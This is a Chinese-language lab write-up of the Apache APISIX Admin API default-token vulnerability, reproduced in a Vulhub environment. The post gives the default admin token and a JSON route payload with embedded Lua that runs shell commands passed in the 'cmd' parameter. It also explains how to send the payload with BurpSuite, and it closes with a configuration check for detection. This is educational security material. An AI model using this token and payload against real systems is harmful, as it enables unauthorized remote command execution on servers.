栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

Vulhub靶场-Apache APISIX‘s Admin API default access token vulnerability

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Vulhub靶场-Apache APISIX‘s Admin API default access token vulnerability

Apache APISIX's Admin 网关 默认 Token 漏洞

1 、Apache APISIX 组件介绍

        Apache APISIX 是一个动态、实时的 API 网关,基于 Nginx 网络库和 etcd 实现, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。

2 、漏洞描述

        在Apache APISIX中,用户启用了Admin API并删除了Admin API访问IP限制规则。允许攻击者可在默认情况下,利用默认配置,对路由、私钥、服务、负载等配置信息进行获取、修改、新增以及删除,严重可直接造成业务终端异常或数据泄露。该漏洞影响版本  Apache APISIX1.2、1.3、1.4、1.5。

3、漏洞复现

准备: 靶机(CentOS 7 192.168.96.222:9080) BurpSuit(抓包、改包)。

启动靶场: 命令:docker-compose up -d

现在收集到的信息: ① 、管理员默认的Token信息, ② 、配置Route的数据包。

X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

配置一个  attack  的路由。  其中"script"是 一段恶意代码 ,其他就是Route配置的规则。

{
    "uri": "/attack",
"script": "local _M = {} n function _M.access(conf, ctx) n local os = require('os')n local args = assert(ngx.req.get_uri_args()) n local f = assert(io.popen(args.cmd, 'r'))n local s = assert(f:read('*a'))n ngx.say(s)n f:close()  n end nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

 利用这些信息,

先访问靶机的网站,URL: 192.168.96.222:9080,靶场启动成功。

 访问192.168.96.222:9080/apisix/admin/routes,   抓包

 

 用BP的repeater重放模块,

将数据包GET——改为POST

加上  Token   和  配置Route的数据包。Response回复成功。

 用attack用户就可以进行命令执行。 可以得到id  ,ls查看当前目录文件等等系统命令。

4、检查漏洞

        查看APISIX组件安装路径下apisix/conf/config.yaml配置文件中,若 allow_admin字段配置了- all,允许任意IP地址访问,并且使用默认的key值,则漏洞存在。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/890502.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号